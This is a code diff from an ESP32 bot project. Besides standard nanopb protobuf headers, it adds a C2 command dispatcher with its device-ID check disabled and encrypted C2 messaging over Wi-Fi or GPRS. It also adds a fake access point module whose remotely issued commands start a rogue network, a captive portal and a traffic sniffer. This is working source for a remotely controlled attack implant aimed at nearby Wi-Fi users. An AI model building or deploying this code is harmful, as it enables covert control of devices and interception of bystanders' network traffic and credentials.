#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT)
|
||||
#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED)
|
||||
#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT)
|
||||
#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED)
|
||||
|
||||
/* Release any allocated pointer fields. If you use dynamic allocation, you should
|
||||
* call this for any successfully decoded message when you are done with it. If
|
||||
* pb_decode() returns with an error, the message is already released.
|
||||
*/
|
||||
void pb_release(const pb_msgdesc_t *fields, void *dest_struct);
|
||||
|
||||
/**************************************
|
||||
* Functions for manipulating streams *
|
||||
**************************************/
|
||||
|
||||
/* Create an input stream for reading from a memory buffer.
|
||||
*
|
||||
* msglen should be the actual length of the message, not the full size of
|
||||
* allocated buffer.
|
||||
*
|
||||
* Alternatively, you can use a custom stream that reads directly from e.g.
|
||||
* a file or a network socket.
|
||||
*/
|
||||
pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen);
|
||||
|
||||
/* Function to read from a pb_istream_t. You can use this if you need to
|
||||
* read some custom header data, or to read data in field callbacks.
|
||||
*/
|
||||
bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count);
|
||||
|
||||
|
||||
/************************************************
|
||||
* Helper functions for writing field callbacks *
|
||||
************************************************/
|
||||
|
||||
/* Decode the tag for the next field in the stream. Gives the wire type and
|
||||
* field tag. At end of the message, returns false and sets eof to true. */
|
||||
bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof);
|
||||
|
||||
/* Skip the field payload data, given the wire type. */
|
||||
bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type);
|
||||
|
||||
/* Decode an integer in the varint format. This works for enum, int32,
|
||||
* int64, uint32 and uint64 field types. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest);
|
||||
#else
|
||||
#define pb_decode_varint pb_decode_varint32
|
||||
#endif
|
||||
|
||||
/* Decode an integer in the varint format. This works for enum, int32,
|
||||
* and uint32 field types. */
|
||||
bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest);
|
||||
|
||||
/* Decode a bool value in varint format. */
|
||||
bool pb_decode_bool(pb_istream_t *stream, bool *dest);
|
||||
|
||||
/* Decode an integer in the zig-zagged svarint format. This works for sint32
|
||||
* and sint64. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest);
|
||||
#else
|
||||
bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest);
|
||||
#endif
|
||||
|
||||
/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to
|
||||
* a 4-byte wide C variable. */
|
||||
bool pb_decode_fixed32(pb_istream_t *stream, void *dest);
|
||||
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to
|
||||
* a 8-byte wide C variable. */
|
||||
bool pb_decode_fixed64(pb_istream_t *stream, void *dest);
|
||||
#endif
|
||||
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Decode a double value into float variable. */
|
||||
bool pb_decode_double_as_float(pb_istream_t *stream, float *dest);
|
||||
#endif
|
||||
|
||||
/* Make a limited-length substream for reading a PB_WT_STRING field. */
|
||||
bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream);
|
||||
bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream);
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
1006
espilon_bot/components/core/nanoPB/pb_encode.c
Normal file
1006
espilon_bot/components/core/nanoPB/pb_encode.c
Normal file
File diff suppressed because it is too large
Load Diff
195
espilon_bot/components/core/nanoPB/pb_encode.h
Normal file
195
espilon_bot/components/core/nanoPB/pb_encode.h
Normal file
@ -0,0 +1,195 @@
|
||||
/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c.
|
||||
* The main function is pb_encode. You also need an output stream, and the
|
||||
* field descriptions created by nanopb_generator.py.
|
||||
*/
|
||||
|
||||
#ifndef PB_ENCODE_H_INCLUDED
|
||||
#define PB_ENCODE_H_INCLUDED
|
||||
|
||||
#include "pb.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Structure for defining custom output streams. You will need to provide
|
||||
* a callback function to write the bytes to your storage, which can be
|
||||
* for example a file or a network socket.
|
||||
*
|
||||
* The callback must conform to these rules:
|
||||
*
|
||||
* 1) Return false on IO errors. This will cause encoding to abort.
|
||||
* 2) You can use state to store your own data (e.g. buffer pointer).
|
||||
* 3) pb_write will update bytes_written after your callback runs.
|
||||
* 4) Substreams will modify max_size and bytes_written. Don't use them
|
||||
* to calculate any pointers.
|
||||
*/
|
||||
struct pb_ostream_s
|
||||
{
|
||||
#ifdef PB_BUFFER_ONLY
|
||||
/* Callback pointer is not used in buffer-only configuration.
|
||||
* Having an int pointer here allows binary compatibility but
|
||||
* gives an error if someone tries to assign callback function.
|
||||
* Also, NULL pointer marks a 'sizing stream' that does not
|
||||
* write anything.
|
||||
*/
|
||||
const int *callback;
|
||||
#else
|
||||
bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
|
||||
#endif
|
||||
|
||||
/* state is a free field for use of the callback function defined above.
|
||||
* Note that when pb_ostream_from_buffer() is used, it reserves this field
|
||||
* for its own use.
|
||||
*/
|
||||
void *state;
|
||||
|
||||
/* Limit number of output bytes written. Can be set to SIZE_MAX. */
|
||||
size_t max_size;
|
||||
|
||||
/* Number of bytes written so far. */
|
||||
size_t bytes_written;
|
||||
|
||||
#ifndef PB_NO_ERRMSG
|
||||
/* Pointer to constant (ROM) string when decoding function returns error */
|
||||
const char *errmsg;
|
||||
#endif
|
||||
};
|
||||
|
||||
/***************************
|
||||
* Main encoding functions *
|
||||
***************************/
|
||||
|
||||
/* Encode a single protocol buffers message from C structure into a stream.
|
||||
* Returns true on success, false on any failure.
|
||||
* The actual struct pointed to by src_struct must match the description in fields.
|
||||
* All required fields in the struct are assumed to have been filled in.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* uint8_t buffer[64];
|
||||
* pb_ostream_t stream;
|
||||
*
|
||||
* msg.field1 = 42;
|
||||
* stream = pb_ostream_from_buffer(buffer, sizeof(buffer));
|
||||
* pb_encode(&stream, MyMessage_fields, &msg);
|
||||
*/
|
||||
bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
/* Extended version of pb_encode, with several options to control the
|
||||
* encoding process:
|
||||
*
|
||||
* PB_ENCODE_DELIMITED: Prepend the length of message as a varint.
|
||||
* Corresponds to writeDelimitedTo() in Google's
|
||||
* protobuf API.
|
||||
*
|
||||
* PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination.
|
||||
* NOTE: This behaviour is not supported in most other
|
||||
* protobuf implementations, so PB_ENCODE_DELIMITED
|
||||
* is a better option for compatibility.
|
||||
*/
|
||||
#define PB_ENCODE_DELIMITED 0x02U
|
||||
#define PB_ENCODE_NULLTERMINATED 0x04U
|
||||
bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags);
|
||||
|
||||
/* Defines for backwards compatibility with code written before nanopb-0.4.0 */
|
||||
#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED)
|
||||
#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED)
|
||||
|
||||
/* Encode the message to get the size of the encoded data, but do not store
|
||||
* the data. */
|
||||
bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
/**************************************
|
||||
* Functions for manipulating streams *
|
||||
**************************************/
|
||||
|
||||
/* Create an output stream for writing into a memory buffer.
|
||||
* The number of bytes written can be found in stream.bytes_written after
|
||||
* encoding the message.
|
||||
*
|
||||
* Alternatively, you can use a custom stream that writes directly to e.g.
|
||||
* a file or a network socket.
|
||||
*/
|
||||
pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize);
|
||||
|
||||
/* Pseudo-stream for measuring the size of a message without actually storing
|
||||
* the encoded data.
|
||||
*
|
||||
* Example usage:
|
||||
* MyMessage msg = {};
|
||||
* pb_ostream_t stream = PB_OSTREAM_SIZING;
|
||||
* pb_encode(&stream, MyMessage_fields, &msg);
|
||||
* printf("Message size is %d\n", stream.bytes_written);
|
||||
*/
|
||||
#ifndef PB_NO_ERRMSG
|
||||
#define PB_OSTREAM_SIZING {0,0,0,0,0}
|
||||
#else
|
||||
#define PB_OSTREAM_SIZING {0,0,0,0}
|
||||
#endif
|
||||
|
||||
/* Function to write into a pb_ostream_t stream. You can use this if you need
|
||||
* to append or prepend some custom headers to the message.
|
||||
*/
|
||||
bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count);
|
||||
|
||||
|
||||
/************************************************
|
||||
* Helper functions for writing field callbacks *
|
||||
************************************************/
|
||||
|
||||
/* Encode field header based on type and field number defined in the field
|
||||
* structure. Call this from the callback before writing out field contents. */
|
||||
bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field);
|
||||
|
||||
/* Encode field header by manually specifying wire type. You need to use this
|
||||
* if you want to write out packed arrays from a callback field. */
|
||||
bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number);
|
||||
|
||||
/* Encode an integer in the varint format.
|
||||
* This works for bool, enum, int32, int64, uint32 and uint64 field types. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_encode_varint(pb_ostream_t *stream, uint64_t value);
|
||||
#else
|
||||
bool pb_encode_varint(pb_ostream_t *stream, uint32_t value);
|
||||
#endif
|
||||
|
||||
/* Encode an integer in the zig-zagged svarint format.
|
||||
* This works for sint32 and sint64. */
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
bool pb_encode_svarint(pb_ostream_t *stream, int64_t value);
|
||||
#else
|
||||
bool pb_encode_svarint(pb_ostream_t *stream, int32_t value);
|
||||
#endif
|
||||
|
||||
/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */
|
||||
bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size);
|
||||
|
||||
/* Encode a fixed32, sfixed32 or float value.
|
||||
* You need to pass a pointer to a 4-byte wide C variable. */
|
||||
bool pb_encode_fixed32(pb_ostream_t *stream, const void *value);
|
||||
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
/* Encode a fixed64, sfixed64 or double value.
|
||||
* You need to pass a pointer to a 8-byte wide C variable. */
|
||||
bool pb_encode_fixed64(pb_ostream_t *stream, const void *value);
|
||||
#endif
|
||||
|
||||
#ifdef PB_CONVERT_DOUBLE_FLOAT
|
||||
/* Encode a float value so that it appears like a double in the encoded
|
||||
* message. */
|
||||
bool pb_encode_float_as_double(pb_ostream_t *stream, float value);
|
||||
#endif
|
||||
|
||||
/* Encode a submessage field.
|
||||
* You need to pass the pb_field_t array and pointer to struct, just like
|
||||
* with pb_encode(). This internally encodes the submessage twice, first to
|
||||
* calculate message size and then to actually write it out.
|
||||
*/
|
||||
bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct);
|
||||
|
||||
#ifdef __cplusplus
|
||||
} /* extern "C" */
|
||||
#endif
|
||||
|
||||
#endif
|
||||
47
espilon_bot/components/core/process.c
Normal file
47
espilon_bot/components/core/process.c
Normal file
@ -0,0 +1,47 @@
|
||||
#include <string.h>
|
||||
|
||||
#include "c2.pb.h"
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
static const char *TAG = "PROCESS";
|
||||
|
||||
/* =========================================================
|
||||
* UNIQUE ENTRY POINT — C2 → ESP
|
||||
* ========================================================= */
|
||||
void process_command(const c2_Command *cmd)
|
||||
{
|
||||
if (!cmd) {
|
||||
ESP_LOGE(TAG, "NULL command");
|
||||
return;
|
||||
}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Device ID check
|
||||
* ----------------------------------------------------- */
|
||||
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) {
|
||||
// ESP_LOGW(TAG,
|
||||
// "Command not for this device (target=%s)",
|
||||
// cmd->device_id);
|
||||
// return;
|
||||
//}
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Basic validation
|
||||
* ----------------------------------------------------- */
|
||||
if (cmd->command_name[0] == '\0') {
|
||||
msg_error(TAG, "Empty command name", cmd->request_id);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG,
|
||||
"CMD received: %s (argc=%d)",
|
||||
cmd->command_name,
|
||||
cmd->argv_count);
|
||||
|
||||
/* -----------------------------------------------------
|
||||
* Dispatch to command engine
|
||||
* ----------------------------------------------------- */
|
||||
command_process_pb(cmd);
|
||||
}
|
||||
147
espilon_bot/components/core/utils.h
Normal file
147
espilon_bot/components/core/utils.h
Normal file
@ -0,0 +1,147 @@
|
||||
#pragma once
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "sdkconfig.h"
|
||||
#include "esp_log.h"
|
||||
|
||||
/* >>> CRITIQUE <<< */
|
||||
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
|
||||
|
||||
/* ============================================================
|
||||
* GLOBAL DEFINES
|
||||
* ============================================================ */
|
||||
|
||||
#define MAX_ARGS 10
|
||||
#define MAX_RESPONSE_SIZE 1024
|
||||
|
||||
/* Socket TCP global */
|
||||
extern int sock;
|
||||
|
||||
/* ============================================================
|
||||
* COM INIT
|
||||
* ============================================================ */
|
||||
|
||||
bool com_init(void);
|
||||
|
||||
/* ============================================================
|
||||
* CRYPTO API
|
||||
* ============================================================ */
|
||||
|
||||
/*
|
||||
* ChaCha20 encrypt/decrypt
|
||||
* Retourne un buffer malloc()'d → free() obligatoire
|
||||
*/
|
||||
unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
|
||||
|
||||
/* Base64 helpers */
|
||||
char *base64_decode(const char *input, size_t *output_len);
|
||||
char *base64_encode(const unsigned char *input, size_t input_len);
|
||||
|
||||
/* C2 decode + decrypt + protobuf + exec */
|
||||
bool c2_decode_and_exec(const char *frame);
|
||||
/* ============================================================
|
||||
* ESP → C2 Messaging API
|
||||
* ============================================================ */
|
||||
|
||||
bool agent_send(
|
||||
c2_AgentMsgType type,
|
||||
const char *source,
|
||||
const char *request_id,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof
|
||||
);
|
||||
|
||||
/* Helpers globaux */
|
||||
bool msg_info(
|
||||
const char *src,
|
||||
const char *msg,
|
||||
const char *req
|
||||
);
|
||||
|
||||
bool msg_error(
|
||||
const char *src,
|
||||
const char *msg,
|
||||
const char *req
|
||||
);
|
||||
|
||||
bool msg_data(
|
||||
const char *src,
|
||||
const void *data,
|
||||
size_t len,
|
||||
bool eof,
|
||||
const char *req
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* DEVICE
|
||||
* ============================================================ */
|
||||
|
||||
bool device_id_matches(
|
||||
const char *local_id,
|
||||
const char *target_id
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* CORE PROCESSING (C2 → ESP)
|
||||
* ============================================================ */
|
||||
|
||||
void process_command(
|
||||
const c2_Command *cmd
|
||||
);
|
||||
|
||||
/*
|
||||
* Compat legacy optionnel
|
||||
*/
|
||||
void process_command_from_buffer(
|
||||
uint8_t *buffer,
|
||||
size_t len
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* WIFI
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
void wifi_init(void);
|
||||
void tcp_client_task(void *pvParameters);
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* GPRS
|
||||
* ============================================================ */
|
||||
|
||||
#ifdef CONFIG_NETWORK_GPRS
|
||||
#define BUFF_SIZE 1024
|
||||
#define UART_NUM UART_NUM_1
|
||||
#define TXD_PIN 27
|
||||
#define RXD_PIN 26
|
||||
#define PWR_KEY 4
|
||||
#define PWR_EN 23
|
||||
#define RESET 5
|
||||
#define LED_GPIO 13
|
||||
|
||||
void setup_uart(void);
|
||||
void setup_modem(void);
|
||||
|
||||
bool connect_gprs(void);
|
||||
bool connect_tcp(void);
|
||||
|
||||
bool gprs_send(const void *buf, size_t len);
|
||||
void gprs_rx_poll(void);
|
||||
void close_tcp_connection(void);
|
||||
|
||||
void gprs_client_task(void *pvParameters);
|
||||
void send_at_command(const char *cmd);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
4
espilon_bot/components/mod_fakeAP/CMakeLists.txt
Normal file
4
espilon_bot/components/mod_fakeAP/CMakeLists.txt
Normal file
@ -0,0 +1,4 @@
|
||||
idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
287
espilon_bot/components/mod_fakeAP/cmd_fakeAP.c
Normal file
287
espilon_bot/components/mod_fakeAP/cmd_fakeAP.c
Normal file
@ -0,0 +1,287 @@
|
||||
/*
|
||||
* cmd_fakeAP.c
|
||||
* Refactored for new command system
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CMD_FAKEAP"
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
static bool fakeap_running = false;
|
||||
static bool portal_running = false;
|
||||
static bool sniffer_running = false;
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_start <ssid> [open|wpa2] [password]
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG,
|
||||
"usage: fakeap_start <ssid> [open|wpa2] [password]",
|
||||
req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (fakeap_running) {
|
||||
msg_error(TAG, "FakeAP already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
bool open = true;
|
||||
const char *password = NULL;
|
||||
|
||||
if (argc >= 2) {
|
||||
if (!strcmp(argv[1], "open")) {
|
||||
open = true;
|
||||
} else if (!strcmp(argv[1], "wpa2")) {
|
||||
open = false;
|
||||
if (argc < 3) {
|
||||
msg_error(TAG, "WPA2 password required", req);
|
||||
return -1;
|
||||
}
|
||||
password = argv[2];
|
||||
} else {
|
||||
msg_error(TAG, "Unknown security mode", req);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
start_access_point(ssid, password, open);
|
||||
fakeap_running = true;
|
||||
|
||||
msg_info(TAG, "FakeAP started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_stop
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (portal_running) {
|
||||
stop_captive_portal();
|
||||
portal_running = false;
|
||||
}
|
||||
|
||||
if (sniffer_running) {
|
||||
stop_sniffer();
|
||||
sniffer_running = false;
|
||||
}
|
||||
|
||||
stop_access_point();
|
||||
fakeap_running = false;
|
||||
|
||||
msg_info(TAG, "FakeAP stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_status
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_status(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
char buf[256];
|
||||
snprintf(buf, sizeof(buf),
|
||||
"FakeAP status:\n"
|
||||
" AP: %s\n"
|
||||
" Portal: %s\n"
|
||||
" Sniffer: %s\n"
|
||||
" Authenticated clients: %d",
|
||||
fakeap_running ? "ON" : "OFF",
|
||||
portal_running ? "ON" : "OFF",
|
||||
sniffer_running ? "ON" : "OFF",
|
||||
authenticated_count
|
||||
);
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_clients
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_clients(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
msg_error(TAG, "FakeAP not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
list_connected_clients();
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_portal_start
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_portal_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!fakeap_running) {
|
||||
msg_error(TAG, "Start FakeAP first", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (portal_running) {
|
||||
msg_error(TAG, "Captive portal already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_captive_portal();
|
||||
portal_running = true;
|
||||
|
||||
msg_info(TAG, "Captive portal enabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_portal_stop
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_portal_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!portal_running) {
|
||||
msg_error(TAG, "Captive portal not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
stop_captive_portal();
|
||||
portal_running = false;
|
||||
|
||||
msg_info(TAG, "Captive portal stopped", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_sniffer_on
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_sniffer_on(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (sniffer_running) {
|
||||
msg_error(TAG, "Sniffer already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_sniffer();
|
||||
sniffer_running = true;
|
||||
|
||||
msg_info(TAG, "Sniffer enabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_sniffer_off
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_sniffer_off(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
(void)ctx;
|
||||
|
||||
if (!sniffer_running) {
|
||||
msg_error(TAG, "Sniffer not running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
stop_sniffer();
|
||||
sniffer_running = false;
|
||||
|
||||
msg_info(TAG, "Sniffer disabled", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* REGISTER COMMANDS
|
||||
* ============================================================ */
|
||||
static const command_t fakeap_cmds[] = {
|
||||
{ "fakeap_start", 1, 3, cmd_fakeap_start, NULL, false },
|
||||
{ "fakeap_stop", 0, 0, cmd_fakeap_stop, NULL, false },
|
||||
{ "fakeap_status", 0, 0, cmd_fakeap_status, NULL, false },
|
||||
{ "fakeap_clients", 0, 0, cmd_fakeap_clients, NULL, false },
|
||||
{ "fakeap_portal_start", 0, 0, cmd_fakeap_portal_start, NULL, false },
|
||||
{ "fakeap_portal_stop", 0, 0, cmd_fakeap_portal_stop, NULL, false },
|
||||
{ "fakeap_sniffer_on", 0, 0, cmd_fakeap_sniffer_on, NULL, false },
|
||||
{ "fakeap_sniffer_off", 0, 0, cmd_fakeap_sniffer_off, NULL, false }
|
||||
};
|
||||
|
||||
void mod_fakeap_register_commands(void)
|
||||
{
|
||||
for (size_t i = 0; i < sizeof(fakeap_cmds)/sizeof(fakeap_cmds[0]); i++) {
|
||||
command_register(&fakeap_cmds[i]);
|
||||
}
|
||||
}
|
||||
|
||||
2
espilon_bot/components/mod_fakeAP/cmd_fakeAP.h
Normal file
2
espilon_bot/components/mod_fakeAP/cmd_fakeAP.h
Normal file
@ -0,0 +1,2 @@
|
||||
#pragma once
|
||||
void mod_fakeap_register_commands(void);
|
||||
19
espilon_bot/components/mod_fakeAP/fakeAP_utils.h
Normal file
19
espilon_bot/components/mod_fakeAP/fakeAP_utils.h
Normal file
@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
#include "lwip/ip4_addr.h"
|
||||
#include <stdbool.h>
|
||||
|
||||
#define MAX_CLIENTS 10
|
||||
#define CAPTIVE_PORTAL_IP "192.168.4.1"
|
||||
#define CAPTIVE_PORTAL_URL "http://192.168.4.1/"
|
||||
|
||||
/* DNS settings */
|
||||
#define DNS_PORT 53
|
||||
#define UPSTREAM_DNS "8.8.8.8"
|
||||
|
||||
/* ===== AUTH STATE ===== */
|
||||
bool fakeap_is_authenticated(ip4_addr_t ip);
|
||||
void fakeap_mark_authenticated(ip4_addr_t ip);
|
||||
|
||||
/* Internal use only - exported for mod_web_server.c */
|
||||
extern ip4_addr_t authenticated_clients[MAX_CLIENTS];
|
||||
extern int authenticated_count;
|
||||
219
espilon_bot/components/mod_fakeAP/mod_fakeAP.c
Normal file
219
espilon_bot/components/mod_fakeAP/mod_fakeAP.c
Normal file
@ -0,0 +1,219 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/lwip_napt.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "MODULE_FAKE_AP";
|
||||
|
||||
/* ================= AUTH ================= */
|
||||
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
||||
int authenticated_count = 0; /* exported for mod_web_server.c */
|
||||
static SemaphoreHandle_t auth_mutex;
|
||||
|
||||
/* ================= DNS ================= */
|
||||
static TaskHandle_t dns_task_handle = NULL;
|
||||
|
||||
typedef struct {
|
||||
bool captive_portal;
|
||||
} dns_param_t;
|
||||
|
||||
/* Forward declaration */
|
||||
void dns_forwarder_task(void *pv);
|
||||
|
||||
/* ============================================================
|
||||
* AUTH
|
||||
* ============================================================ */
|
||||
bool fakeap_is_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
bool res = false;
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
for (int i = 0; i < authenticated_count; i++) {
|
||||
if (authenticated_clients[i].addr == ip.addr) {
|
||||
res = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
xSemaphoreGive(auth_mutex);
|
||||
return res;
|
||||
}
|
||||
|
||||
void fakeap_mark_authenticated(ip4_addr_t ip)
|
||||
{
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
if (authenticated_count < MAX_CLIENTS) {
|
||||
authenticated_clients[authenticated_count++] = ip;
|
||||
ESP_LOGI(TAG, "Client authenticated: %s", ip4addr_ntoa(&ip));
|
||||
}
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
static void fakeap_reset_auth(void)
|
||||
{
|
||||
xSemaphoreTake(auth_mutex, portMAX_DELAY);
|
||||
authenticated_count = 0;
|
||||
memset(authenticated_clients, 0, sizeof(authenticated_clients));
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* AP
|
||||
* ============================================================ */
|
||||
void stop_access_point(void)
|
||||
{
|
||||
if (dns_task_handle) {
|
||||
vTaskDelete(dns_task_handle);
|
||||
dns_task_handle = NULL;
|
||||
}
|
||||
fakeap_reset_auth();
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
msg_info(TAG, "Access Point stopped", NULL);
|
||||
}
|
||||
|
||||
